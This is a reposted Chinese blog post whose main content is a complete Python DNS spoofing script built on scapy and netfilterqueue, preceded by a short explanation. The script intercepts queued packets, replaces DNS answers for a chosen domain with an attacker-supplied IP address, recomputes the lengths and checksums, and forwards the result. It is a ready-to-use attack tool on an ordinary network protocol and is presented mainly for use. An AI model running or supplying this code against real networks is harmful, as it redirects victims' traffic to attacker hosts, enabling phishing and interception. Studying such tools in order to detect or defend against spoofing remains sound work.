标签:__ domain netfilterqueue ip self scapy packet DNS
本代码主要利用到的模块为netfilterqueue,该模块会将所有的报文进行缓存,缓存到队列的报文从而利用scapy进行解析,并进一步修改,然后将修改后的报文发送出去。
from scapy.all import * import netfilterqueue import sys import optparse class DNSSpoofer: def __init__(self) -> None: self.domain, self.spoofed_ip = self.get_params() def get_params(self): parser = optparse.OptionParser('Usage: < Program > -d domain name to spoof -i spoofed ip address') parser.add_option('-d', '--domain', dest='domain', type='string', help='Specify domain name to spoof') parser.add_option('-i', '--ip_addr', dest='ip_addr', type='string', help='Specify ip address to spoof') options, args = parser.parse_args() if options.domain is None or options.ip_addr is None: print(parser.usage) sys.exit() return options.domain, options.ip_addr def del_elements(self, scapy_packet): del scapy_packet[IP].len del scapy_packet[IP].chksum del scapy_packet[UDP].len del scapy_packet[UDP].chksum return scapy_packet def packet_handler(self, pkt): scapy_packet = IP(pkt.get_payload()) if scapy_packet.haslayer(DNSRR): qname = scapy_packet.getlayer(DNSQR).qname.decode('utf-8') print(qname) if self.domain in qname: answer = DNSRR(rrname=qname,rdata=self.spoofed_ip ) scapy_packet[DNS].an = answer scapy_packet[DNS].ancount = 1 scapy_packet = self.del_elements(scapy_packet=scapy_packet) pkt.set_payload(bytes(scapy_packet)) #注意需要将scapy_packet转换成字节,然后可以作为载荷重新放到队列中,然后发送出去 pkt.accept() def run(self): queue = netfilterqueue.NetfilterQueue() queue.bind(0, self.packet_handler) queue.run() if __name__ == '__main__': dnsspoofer = DNSSpoofer() dnsspoofer.run()
标签:__,domain,netfilterqueue,ip,self,scapy,packet,DNS 来源: https://www.cnblogs.com/jason-huawen/p/16343474.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。